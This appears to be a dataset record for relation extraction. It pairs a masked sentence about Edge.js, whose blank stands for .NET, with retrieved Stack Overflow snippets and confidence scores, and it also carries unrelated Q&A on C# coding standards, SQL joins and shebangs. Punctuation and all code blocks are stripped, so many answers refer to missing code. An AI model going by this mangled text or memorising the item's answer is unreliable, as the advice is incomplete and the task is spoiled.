the source http : www.faqs.org faqs unix-faq faq part3 section-16.html : .. . .. . Bash scripts often begin with bin bash assuming that Bash has been installed in bin since this ensures that Bash will be used to interpret the script even if it is executed under another shell . You can also check this The magic details about the shebang hash-bang mechanism on various Unix flavours http : www.in-ulm.de mascheck various shebang Comment : Your answer is a good comment . :", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : The standard from Philips Medical Systems is well written and mostly follows Microsoft guidelines : www.tiobe.com content paperinfo gemrcsharpcs.pdf .. . .. . My standards are based on this with a few tweaks and some updates for .NET 2.0 the Philips standard is written for .NET 1.x so is a bit dated .", "Question : For many questions the answer seems to be found in the standard . However where do we find that Preferably online . Googling can sometimes feel futile again especially for the C standards since they are drowned in the flood of discussions on programming forums . To get this started since these are the ones I am searching for right now where are there good online resources for : .. . .. . C89 .. . C99 .. . C11 .. . C++98 .. . C++03 .. . C++11 .. . C++14 Comment : Note the discussion on MSO http : meta.stackoverflow.com questions 270231 c-standard-thread-marked-as-off-topic . The answers to this question are valuable to C and C++ programmers it should be left open not least because there s a C++2014 standard to add to the answers once it has been published it s already approved . .. . Answer : The actual standards documents may not be the most useful . Most compilers do not fully implement the standards and may sometimes actually conflict . So the compiler documentation that you would already have will be more useful . Additionally the documentation will contain platform-specific remarks and notes on any caveats . Comment : Compiler documentation is important but knowing the language rather than knowing your implementation is much more . Comment : With the actual standard you can find bugs in the compilers and help them to better follow the standard by patching them by submitting bug reports or simply entering an IRC room and talking to someone who can fix it . Comment : @hdante -- absolutely . When you have the standard itself as the ideal you can demand compatibility from the vendor . @ all -- The intention here was not to say the standard is not useful FYI going from the standard first is the approach I have taken in the past but that you have to know your real world starting point as well which hopefully is in-line with the standards . Comment : Compiler documentation tends to leave out the stuff covered in the standards anyway .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : Microsoft s own rules are an excellent starting point . You can enforce them with FxCop .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : Our entire coding standard reads roughly Use StyleCop .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : See this : http : www.noesispedia.com post 2008 11 28 C-Coding-Guidelines-and-Best-Practices.aspx . Comment : The link is broken now .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : I have to suggest the dotnetspider.com http : www.dotnetspider.com tutorials bestpractices.aspx document . It is a great and detailed document that is useful anywhere .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : I ve used Juval s before and that s through if not overkill but I m lazy and now just conform to the will of Resharper http : www.jetbrains.com resharper .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : Never write your own coding standards use the MS ones or the Sun ones or .. . as appropriate for your language . The clue is in the word standard the world would be a much easier place to code in if each organization hadn t decided to write their own . Who really thinks learning a new set of standards each time you change teams projects roles is a good use of anyone s time . The most you should ever do is summarize the critical points but I d advise against doing even that because what is critical varies from person to person . Two other points I d like to make on coding standards .. . .. . 1 . Close is good enough - Changing code to follow coding standards to the letter is a waste of time as long as the code is close enough . 2 . If you re changing code you didn t write follow the local coding standards i.e . make your new code look like the surrounding code . These two points are the reality to my wish that everybody would write code that looked the same .", "Question : I m a recent AI graduate circa 2 years working for a modest operation . It has fallen to me primarily as I m the first adopter in the department to create a basic read useful C coding standards document . I think I should explain that I m probably the most junior software engineer going but I m looking forward to this task as hopefully I might actually be able to produce something half usable . I ve done a pretty extensive search of the Internet and read articles on what a coding standards document should should not contain . This seems like a good as place as any to ask for some suggestions . I realise that I am potentially opening a door to a whole world of disagreement about the best way to do things . I both understand and respect the undeniable fact that each programmer has a preferred method of solving each individual task as a result I m not looking to write anything so draconianly proscriptive as to stifle personal flair but to try and get a general methodology and agreed standards e.g . naming-conventions to help make individuals code more readable . So here goes ... . any suggestions Any at all .. . Answer : Personally I like the one that IDesign http : www.idesign.net idesign download IDesign 20CSharp 20Coding 20Standard.zip has put together . But that s not why I m posting.. . The tricky bit at my company was taking all the different languages into account . And I know my company isn t alone on this . We use C C assembly we make devices SQL XAML etc . Although there will be some similarities in standards each is usually handled differently . Also I believe that higher level standards have a greater impact on the quality of the final product . For example : how and when to use comments when exceptions are mandatory e.g . user initiated events whether or when to use exceptions vs . return values what is the objective way to determine what should be controller code vs presentation code etc . Don t get me wrong low-level standards are also needed formatting is important to readability I just have a bias towards overall structure . Another piece to keep in mind is buy-in and enforcement . Coding standards are great . But if nobody agrees with them and probably more importantly no one enforces them then it s all for naught .", "Question : I m stuck deciding which to use as both seem to work . Should I be placing links a inside of h2 elements Or the other way around What is the correct standard Comment : This is pretty subjective but I d say the a should be within the h2 under the grounds that if part of the h2 s text wasn t a link this is the way it d have to be but you d rarely have the link span outside of the h2 . Comment : 3 votes to close . May I ask why How is this not a real question @AndrewMarshall : How is it subjective I thought there were standards published Comment : Semantics are not standards . Since you can do either in HTML5 at least there s no technical reason to choose one over the other . .. . Answer : HTML allows things inside a tags .. . .. . I have this.. . .. . .. . And it works for me . The whole heading text including the subheading is clickable as I want . I don t know of a better way to do this with html 5 .", "Question : If I have several LOJ s and several INNER JOINS is there a correct Standard syntactical structure I should use Example scenario .. . .. . 5 tables A - E all with a UserId column and each with an additional column for a measure - MeasureA in table A MeasureB in table B etc . Tables A B C all have the same set of UserIds .. . Tables D and E have different subsets of the set of UserIds in A- C . Is this the correct structure to use : .. . .. . Or should the LOJs be applied within a subquery on A Comment : Your second query syntactically not correct . You missed SELECT in subquery . Comment : @HamletHakobyan ....I ve always wondered if there is a Standard sql pattern to use . What is wrong with the second query - EDITED OP NOW Comment : Your first and second queries are not equivalent . Comment : @HamletHakobyan that is part of the problem - as soon as a second LOJ is required I m unsure what to do Comment : Is this the correct structure to use it is depend what you want to achieve . Code by itself can t be logically correct or incorrect . .. . Answer : When you are using left outer joins the intention is that one of the tables is keeping all of its rows regardless of matches in the other tables . My preferred structure is to put this table first : .. . .. . This doesn t work if you have inner joins later in the from clause because these would filter out rows with no matches . In terms of your query I think the first does what you expect . The second happens to do what you want because you are only joining on the id column . But the structure is very dangerous . If one of your subsequent inner joins were on a column from E then it would inadvertently change the left joins to inner joins . So put the inner joins first then the left outer joins . Comment : +1 thanks Gordon - in terms of the Standards is there an approach given Comment : @whytheq . . . Standards . I have my standards but as far as I know there are no agreed upon standards for writing SQL queries . Hmmm maybe there s space in the world for a Kernighan and Ritchie of C . Comment : @whytheq . . . Ironically I once had that version pretty much memorized because I was writing a database engine then . Even so the standard document doesn t specify the order of the joins . It should simply say that the interpretation follows the lexical ordering of the tables so A whatever join B whatever join C is interpreted as : A whatever join B whatever join C . Comment : No probs Gordon - old doc related to the Standards : http : www.contrib.andrew.cmu.edu shadow sql sql1992.txt . As you know the basis of all dialects are these . So and are not Standard whereas are .. . using lower-case reserved-words not enforced is not standard etc . Saying all that I generally follow the approach you ve out-lined but recently on a course run by Itzak he briefly showed alternative ways of mixing LEFT INNER join - so was interested if there was a structure out there which relates to the Standards . Comment : Gordon...thanks for help on this writing a database engine then ...scary stuff : but you obviously lived to tell the tail" ] }
[]
protocols
UNK_RELATION
edge.js@.net@67
edge.js -- edge.js is a library that connects node.js scripts and @placeholder in the same process allowing function-calls between both parts .
{ "confidence": [ 49.478755950927734, 48.24053192138672, 46.27828598022461, 45.85440444946289, 44.96664810180664, 44.96664810180664, 44.96664810180664, 44.96664810180664, 44.96664810180664, 44.60385513305664, 44.468223571777344, 44.4373893737793, 43.8558235168457, 43.8558235168457, 43.8558235168457, 43.8558235168457, 43.238075256347656, 42.83653259277344, 41.91710662841797, 41.65213394165039, 41.65213394165039, 41.119300842285156, 40.900447845458984, 40.80628204345703, 40.542137145996094, 39.8491096496582, 39.688499450683594, 39.209049224853516, 39.1797981262207, 39.1797981262207, 39.06047439575195, 39.06047439575195, 39.06047439575195, 39.06047439575195, 38.97512435913086, 38.671958923339844, 37.949649810791016, 37.84844207763672, 37.64904022216797, 37.300697326660156, 36.94170379638672, 36.224693298339844, 35.83087921142578, 35.83087921142578, 35.83087921142578, 35.83087921142578, 35.80672073364258, 35.508026123046875, 35.05655288696289, 35.05655288696289, 34.33494186401367, 34.33494186401367, 34.33494186401367, 34.105159759521484, 33.66438293457031, 33.63827896118164, 33.31867218017578, 33.00358581542969, 32.937782287597656, 32.89610290527344, 32.430728912353516, 32.430728912353516, 32.430728912353516, 32.430728912353516, 31.452041625976562, 31.344345092773438, 31.319904327392578, 31.319904327392578, 31.319904327392578, 31.319904327392578, 31.319904327392578, 31.27621841430664, 30.28634262084961, 30.147655487060547, 29.988548278808594, 29.988548278808594, 29.988548278808594, 29.988548278808594, 29.81399917602539, 29.66991424560547, 29.66991424560547, 28.55908966064453, 28.55908966064453, 28.55908966064453, 28.55908966064453, 27.903305053710938, 27.275663375854492, 27.001611709594727, 26.577701568603516, 26.577701568603516, 26.577701568603516, 25.923397064208984, 25.890785217285156, 25.684097290039062, 25.665992736816406, 25.665992736816406, 25.48040008544922, 25.466876983642578, 25.466876983642578, 24.894926071166992 ], "content": [ "Tomasz Janczuk http : tomasz.janczuk.org he s working on Edge.js has said : .. . .. . Edge.js provides an asynchronous in-process mechanism for interoperability between Node.js and .NET .", "This code gets executed through node.js and edge.js .", "Well Edge.js can do it .", "According to the Edge.js documentation Using Node.js via Edge.js in ASP.NET web-applications is no different than in a .NET console-application .", "Okay I m using Node.js and Edge.js to insert values to an SQL database .", "Edge.js allows us to call into C dlls from node.js .", "I have node.js application which works with Arduino through edge.js .", "I have to access those methods from within Node.js with the help of edge.js .", "I m trying to put together a quick node.js edge.js C bridge for a demo .", "Edge.js is pretty rad .", "The error thrown is .. . .. . I presume this is a problem limitation in edge.js .", "The Edge.js part is fine everything is working .", "Is it possible to use those DLL s in a node.js context using edge.js", "Is it possible to use those DLL s in a node.js context using edge.js", "I am using edge.js to connect a node.js file to a .csx file .", "I m using Edge.js to execute node.js modules within my F code .", "I m attempting to write data into SQL Server from a Node.js app using edge.js .", "This is the edge.js code that calls my .net code to get the realtime text", "Since the software is in C I decide to implement Edge.js in my node.js application to run C code in Node.js code .", "This is specifically about running under edge.js .", "Is Edge.js doing anything special to streams", "However when I run the query edge.js errors complaining that the parameter is not supplied .", "Edge.js passes data between V8 and CLR by value except for functions .", "Edge.js allows you to call .NET code from node.js and node.js code from .NET .", "If not through the sql function of edge.js another possibility would be to write C to use OLEDB to connect to MS ACCESS all encapsulated within edge.js .", "Performance measurements of one scenario show that in-process Edge.js call from Node.js to C is 32 times faster than the same call made using HTTP between two local processes .", "Update with more info : .. . .. . Here s essentially what the C code boils down to for this test : .. . .. . The node.js server is started and calls ExceptionTest through edge.js .", "There are two main benefits of using Edge.js to run Node.js and .NET in one process instead of splitting the application into two processes : better performance and reduced complexity .", "As far as I know Edge.js does not support JScript.NET .", "This is specifically about c code running under edge.js .", "The common answer is to put this in the initial .exe.config of the executing program but this .net dll is being run through node.js via edge.js .", "My goal is to be able to cancel a long running Node.js task that has been called from C using Edge.js .", "I m trying to use edge.js https : github.com tjanczuk edge for using a node.js module within C .", "I m currently using Node.js with Edge.js to insert hardcoded values into a SQL database : .. . .. . This works correctly .", "Well it s may be possible if edge.js calls uv async send under the hood I looked into the code and it probably does that .", "My function called from .NET looks like this : .. . .. . It works perfectly when I call this function from node.js but with Edge.js it hangs and Task is never awaited .", "From the given code how would you create a listener and make it listen on a given port in the background with node.js and edge.js", "Uninstalling and reinstalling the Edge.js NuGet package fixed this for me .", "Otherwise Edge.js code may assume that the encoding parameter passed to a write call is a callback function which would follow the Edge.js calling convention .", "I have a node server deployed to azure and am using Edge.js to make some WCF calls .", "I am calling JS code from C using edge.js .", "So I have this code from the edge.js instructions : .. . .. . And I have nuget working so that I have installed edge.js with nuget install edge.js -o . packages .. . .. . But I can t figure out how to compile it on my Mac OSX .", "Check out the edge.js project I started http : tjanczuk.github.com edge .", "Is it possible to have Edge.js running on 32-bit Ubuntu instead", "I m currently using edge.js to connect to SQL Server 2012 .", "You could wrap them in a class and call that from edge.js .", "Update : .. . .. . Edge.js http : tjanczuk.github.io edge provides a solution to Combine the Node.js with .NET platform by making it possible to call .NET functions from Node.js .", "Long version of the question .. . .. . I have a Node.js script using Edge.js http : tjanczuk.github.io edge to register a callback function so that it can be called from inside a DLL in .NET .", "If you are writing a Console application simply overriding write should suffice at the level of the Node.js code you pass to Edge.js .", "I am using Edge.js so that I can call Node.js from C .", "Using edge.js you can access islands of pre-existing .NET code from node.js which seems to match your scenario .", "Calling back Node.js from C with Edge.js is possible and documented https : github.com tjanczuk edge how-to-call-nodejs-from-c .", "When running C code within Node.js app using Edge.js the app-config file is node.exe.config and should be located right next to the node.exe file .", "Many thanks to edge.js https : github.com tjanczuk edge issues 391 they provided the answer .", "The other problem introduced when I use Edge.js in a .NET context is that the same setup does not load the templates into cache like it does when on my Mac in a straight node.js environment .", "To solve this problem I went ahead wrote my copy function in .NET calling it with Edge.js --this copy function simply calls back to a Node function reporting file copy progress .", "But I need to submit the message back to the C for processing and I cannot work out how to communicate back and forth between edge.js and the C app .", "So the best solution I came to theoretically did not try it yet is to call our C commands queries from Node.js via Edge.js .", "I am looking into replacing the invocation of Node.exe with a call to Edge.js instead .", "EDIT : As stated in my comment the answer Bergi provided was utilizing a function which did in fact return a promise whilst my Edge.js function did not .", "I ve installed Edge.js via nuget and I want to execute a piece of Javascript from inside a C console-application .", "The latest version of Mammoth on NuGet no longer uses edge.js and is now just .NET code so should work more reliably .", "So I tried using vm module from edge.js and it seems to work fine .", "The answer would be to change module.js to : .. . .. . I got the answer from edge.js https : github.com tjanczuk edge issues 394", "I am currently working on Node.js w edge.js and SQL server 2008 .. . .. . I have some code like : .. . .. . but seems res.json result send empty object before result collaborationCount singleClassMate result.length the ouput is .. . .. . I think that s because I didn t return a promise in the promise.each and since edge.js doesn t support promise so I try to convert .. . .. . var edge require edge .. . .. . to .. . .. . var edge promise.promisifyAll require edge .. . .. . and then modify .. . .. . var getCount edge.func sql function .. . .. . to .. . .. . var getCount edge.funcAsync sql function .. . .. . But it doesn t work and say getCount is not a function .. . .. . Is there any way to combine promisifyAll and edge.js", "I m trying the following with edge.js and Visual Studio : .. . .. . do some math.js : .. . .. . I can t get a result when using callback while mathjs works when using console.log .", "I m running iisnode https : github.com tjanczuk iisnode and using edge.js to access code in a 3rd party DLL .", "Edge.js is unaware of being hosted in IIS using iisnode and consequently does not use web.config .", "I m currently examining the possibilities of edge.js because it would greatly help us with our current project .", "This is specifically about getting line numbers in stack traces when running c under edge.js .", "If that s the case here then this question may boil down to How do i pass arguments to CLR from edge.js", "Because of that Edge.js will only consider the node.exe.config file in the same directory as the node.exe executable that runs the application https : github.com tjanczuk edge how-to-appconfig .", "From the very docs you linked : .. . .. . High level you must have Node.js x64 and Mono x64 installed on the machine before you can install Edge.js .", "I tried attaching first to one then the other but could not get my breakpoint to be hit after my edge.js invocation of the C dll function .", "Bottom line is I don t think this is related to your use of edge.js since the callbacks from C appear timely .", "I suppose it would be much faster to directly call the Web API on the server using Edge.js without requesting it via HTTP .", "I ve confirmed in my node electron edge.js app that the data is being successfully passed from the C dll to my app .", "I m having an interesting time trying to get Edge.js running from an ASP.NET MVC project .", "I have a WCF client for soap service generated via SvcUtil that I want to consume via edge.js http : tjanczuk.github.io edge .. . .. . Is it possible to load an service model-binding from an app.config using edge.js or will I have to construct the bindings in c", "I am trying to get a node js script working on my Windows based website using edge.js to access my database on my internet server .", "So I m not an edge.js expert just trying to help but it seems like you should be doing something more like : var result await task .", "I find Edge.js to be very limited and not offer much over a piped console interface. . and feel that a service may be best for a more complex interface .", "File structure : .. . .. . cs myCode.cs .. . .. . api.js .. . .. . I ve tried putting the connection-string in the web.config file that iisnode uses but apparently edge.js does not look there .", "I am looking at the Edge.js docmentation here https : github.com tjanczuk edge tree master building-on-ubuntu and the instructions are for 64-bit Ubuntu .", "I believe connecting through C libraries and exposing that to javascript through edge.js is a viable alternative also but is also more unnecessarily complicated .", "The problem is that Edge.js demands that the exported method in the DLL must have a specific signature : .. . .. . Func object Task object .. . .. . Certainly your DLL is not exporting the function with the correct signature and that is the reason it didn t work as you expected .", "process have it load the debugging symbols file for the C dll and allow me to step through my C dll according to the Edge.js documentation See the github page here https : github.com tjanczuk edge how-to-debugging .", "note : I don t know SQL I don t know the limitations of Node.js Edge.js and I m very new to programming in general so if my nomenclature is inconsistent wrong let me know but please don t tear me apart I was just wondering if what I m trying to do can be done .", "I am still having a problem however but it seems to be at the intersection of not properly understanding what dust does when .render is called and the fact I m having to do this in Edge.js .NET .", "My isp does not know what this error means and I am hoping someone out there has experience with edge.js in accessing databases and can give me an answer on how to resolve this error .", "I know I can do this without C and just use a module within node like mssql to execute the stored procedure but this was just an example test to get used to using edge.js", "Node.js process closes when there is nothing going to happen in the future .", "So as I see @ Edge.js https : github.com tjanczuk edge you should set the connection-string as an environment variable How to : script T-SQL in a Node.js application https : github.com tjanczuk edge how-to-script-t-sql-in-a-nodejs-application Question also mentioned @ edge-sql.js how to set connectionString", "Right now though I m having to use Edge.js in ASP.NET context to send a JSON string to node process parse that string for context load the proper dust template and send the rendered template as a string back to .NET to write out to the client .", "A red flag will probably go up when you see that I am returning void however this is do to the fact that Edge.js is being used .", "Even though I answered my own question and it seems trivial I am not removing this question as there are not a lot of knowledge on the web about Edge.js .", "My only problem is that my Node.js process executes its script and after that it runs out of events to process .", "Bergi just wanted to let you know that I wouldn t consider this to be necessarily a duplicate as Edge.js does not return a promise by default therefore please see my edit .", "Versions : node.js : v0.10.39 mcs mono : 4.0.4.0 edge.js : 4.0.0 .. . .. . Edit I found you can get command-line-arguments into mono from edge by setting the environment variable MONO ENV OPTIONS .", "My .Net app : .. . .. . Basicly I want to do something like that simple example : .. . .. . as you can see I m executing the callback 3 times but I can t find a way to make Edge.Js handle all the 3 responses ." ] }
{ "confidence": [ 62.1854133605957, 59.736297607421875, 58.38417053222656, 57.69260025024414, 56.988914489746094, 56.012001037597656, 55.02532196044922, 54.74846649169922, 54.28984832763672, 54.170654296875, 53.625160217285156, 53.395973205566406, 53.16281509399414, 53.14750671386719, 53.0338134765625, 52.65147018432617, 52.434814453125, 51.20094680786133, 51.151737213134766, 50.907718658447266 ], "content": [ "Question : TL DR .. . .. . What is the best way to forcibly keep a Node.js process running i.e . keep its event-loop from running empty and hence keeping the process from terminating The best solution I could come up with was this : .. . .. . setInterval function Math.POSITIVE INFINITY .. . .. . Is there a better way to do it Long version of the question .. . .. . I have a Node.js script using Edge.js http : tjanczuk.github.io edge to register a callback function so that it can be called from inside a DLL in .NET . This function will be called 1 time per second sending a simple sequence number that should be printed to the console . The Edge.js part is fine everything is working . My only problem is that my Node.js process executes its script and after that it runs out of events to process . With its event-loop empty it just terminates ignoring the fact that it should ve kept running to be able to receive callbacks from the DLL . My Node.js script : .. . .. . My C code the DLL : .. . .. . The only solution I could come up with was to register a timer with a long interval to call an empty function just to keep the scheduler busy and avoid getting the event-loop empty so that the process keeps running forever . Is there any way to do this better than I did I.e . keep the process running without having to use this kind of hack .. . .. . UPDATE .. . .. . So far we have 3 possible hacks . Mine : .. . .. . Joe s : .. . .. . Jacob s http : stackoverflow.com questions 23622051 how-to-forcibly-keep-a-node-js-process-from-terminating 23622564 : Comment : You could start a bogus listener on a socket on the node side to keep your process alive . Comment : JXcore a node.js distro has process.keepAlive and process.release . You could call process.keepAlive prior to everything else and finally process.release whenever the application needs to be closed . Comment : Thanks @NurayAltin . I don t plan migrating to JXCore now but it s good to know it has an API to do that . .. . Answer : Node.js process closes when there is nothing going to happen in the future . The event-loop has this kind of knowledge because everything that happens in the future originates in the event-loop . When there are no active handles no callbacks will be called nothing will be added to the event-loop process terminates . The problem with what you are trying to do : calling v8 callbacks from another thread . I don t know much about edge or .NET but I know for sure that you can t do that . Comment : Well Edge.js can do it . That s not the problem I have but thanks anyway . Comment : Well it s may be possible if edge.js calls uv async send under the hood I looked into the code and it probably does that . My bad my answer is invalid Comment : This answer actually helped me out . Thanks", "Question : null .. . Answer : I m using Edge.js to execute node.js modules within my F code . My node module returns Stream and I ve found that I should marshall it with node buffer . My function called from .NET looks like this : .. . .. . It works perfectly when I call this function from node.js but with Edge.js it hangs and Task is never awaited . Is Edge.js doing anything special to streams Am I missing something", "Question : I need the ability to connect to an .accdb MS Access 2007 database through nodejs . I currently do this through the win32ole https : github.com idobatter node-win32ole library . This library seems to have lost support and hasn t been updated to work with node v.12 . I m currently using edge.js to connect to SQL Server 2012 . I m wondering if there is the possibility of connecting to the .accdb DB through this also . It seems to utilize ADO.NET for its sql functions . My understanding is MS Access needs either native ODBC or OLEDB . If not through the sql function of edge.js another possibility would be to write C to use OLEDB to connect to MS ACCESS all encapsulated within edge.js . Are there any examples of this being done My last alternative is to find another seperate libary to connect to MS Access in Node.js . They seem pretty rare . Node-Adodb https : github.com nuintun node-adodb might work though. . .. . Answer : In the end I chose an alternative library node-adodb https : github.com nuintun node-adodb which works fine with Node.js v.12 . I believe connecting through C libraries and exposing that to javascript through edge.js is a viable alternative also but is also more unnecessarily complicated .", "Question : You can see the interop model for going from Node.js - C here http : tjanczuk.github.io edge 7 . What I want to know is can the C code then make a call to a method in the Node.js part of the process from the C before returning Imagine if you had a call like .. . .. . where the MyDotNetApi.csx returns but leaves a socket listener thread running to handle HTTP requests . Now if the Node.js part of the process holds ever changing information which the .Net code needs to access for inclusion in its HTTP responses can it somehow ask Node.js for it .. . Answer : Calling back Node.js from C with Edge.js is possible and documented https : github.com tjanczuk edge how-to-call-nodejs-from-c . Comment : Do you know if the resources passed into the closure are responsive to changes in the node process E.g . could you pass in a function to the closure which accesses a node global variable and see updates to the global Comment : I m not an expert in Node but I think that should work . The important thing here is that the whole chain of calls Node - C - Node must be executed on the same thread . Make sure you don t switch threads inside C before you do the callback . Thus you d simply re-enter the Node context on a nested stack frame and you d want to return from the callback as soon as possible to avoid blocking the Node event-loop . Comment : Edge.js passes data between V8 and CLR by value except for functions . If Node.js controls ever changing data that it wants to expose to .NET it can do it in one of two ways : 1 by exposing a function from Node.js to .NET that allows .NET code to query for the current value as needed - example https : github.com tjanczuk edge blob master samples 108 func.js L19-L21 or 2 by having .NET code return a function to Node.js which Node.js will invoke whenever the value of the data changes - example https : github.com tjanczuk edge blob master samples 111 clr listener.js L20-L23 .", "Question : I m trying to put together a quick node.js edge.js C bridge for a demo . I have to use the .Net calling Node.js https : github.com tjanczuk edge how-to-integrate-nodejs-code-into-clr-code style as the existing C code uses a number of config values which I can t add to node.exe.config as I will need to run several versions concurrently . So I have this code : .. . .. . So the code is waiting for messages in an event-loop and responding . This all works with hardcoded values . But I need to submit the message back to the C for processing and I cannot work out how to communicate back and forth between edge.js and the C app . It must surely be via the callback but I can t seem to start figure out how to structure it and time is getting short . And I m by no means a JavaScript expert . How can I communicate between the edge code and the C code from within the event-loop using the callback .. . Answer : I have ended up with something like this : there s a function defined on the data passed to edge which edge then calls when a new message is received . That function then waits for the response and passes it back to edge which receives the result in of course another callback .", "Question : I need the ability to connect to an .accdb MS Access 2007 database through nodejs . I currently do this through the win32ole https : github.com idobatter node-win32ole library . This library seems to have lost support and hasn t been updated to work with node v.12 . I m currently using edge.js to connect to SQL Server 2012 . I m wondering if there is the possibility of connecting to the .accdb DB through this also . It seems to utilize ADO.NET for its sql functions . My understanding is MS Access needs either native ODBC or OLEDB . If not through the sql function of edge.js another possibility would be to write C to use OLEDB to connect to MS ACCESS all encapsulated within edge.js . Are there any examples of this being done My last alternative is to find another seperate libary to connect to MS Access in Node.js . They seem pretty rare . Node-Adodb https : github.com nuintun node-adodb might work though. . .. . Answer : You need to use the OleDb classes to connect to MS Access . You could wrap them in a class and call that from edge.js . An example of that is https : github.com tjanczuk edge-sql where Sql classes are exposed .", "Question : I am looking at the Edge.js docmentation here https : github.com tjanczuk edge tree master building-on-ubuntu and the instructions are for 64-bit Ubuntu . Is it possible to have Edge.js running on 32-bit Ubuntu instead .. . Answer : No . From the very docs you linked : .. . .. . High level you must have Node.js x64 and Mono x64 installed on the machine before you can install Edge.js . emphasis mine", "Question : I m trying to use edge.js https : github.com tjanczuk edge for using a node.js module within C . I can access a property of the module but not a method . require.js .. . .. . module.js .. . .. . Is there a way I can call the function in node.js from C and access answer 2 Here the error : Comment : What does Console.WriteLine deleg produce Comment : System.Func 2 System.Object System.Threading.Tasks.Task 1 System.Object Comment : No overload for method Run takes 0 arguments means I think there are missing arguments but the node.js method does not need arguments so I don t understand what arguments should be send . Comment : So I m not an edge.js expert just trying to help but it seems like you should be doing something more like : var result await task . No need to call the run method on the task the await keyword should invoke the task if it hasn t already been completed . Comment : Thanks no error anymore but no output either the console seems to hang . .. . Answer : The answer would be to change module.js to : .. . .. . I got the answer from edge.js https : github.com tjanczuk edge issues 394", "Question : Here s the original question http : stackoverflow.com questions 22831936 node-js-edge-js-insert-js-variables-into-sql . Okay I m using Node.js and Edge.js to insert values to an SQL database . First attempt was a straightforward insertion of hardcoded values : .. . .. . This hardcoded insertion works as expected of course . And as seen in the answer of the question before me passing the function an object allows the SQL statement to recognize a name value pair of the object via an @ allowing dynamic value assignment : .. . .. . Works as expected . What I would like to do is have the table and columns be variable as well through properties provided by the same rowObj . I tried : .. . .. . But this doesn t work . I tried making the table dynamic on its own and the columns on their own and that didn t work either . note : I don t know SQL I don t know the limitations of Node.js Edge.js and I m very new to programming in general so if my nomenclature is inconsistent wrong let me know but please don t tear me apart I was just wondering if what I m trying to do can be done . .. . Answer : I suggest you call edge.func as many times as you need different selection criteria . If you don t know the column names a priori you can always construct the T-SQL string you pass to edge.func dynamically . With this approach you would normally loose some optimizations around precompiled SQL statements but given how MS SQL optimizes query execution on the server the savings are minimal . Comment : I m mostly just curious how much of a master statement I could make . The one TSQL statement to rule them all . Turns out I m going to need to write my 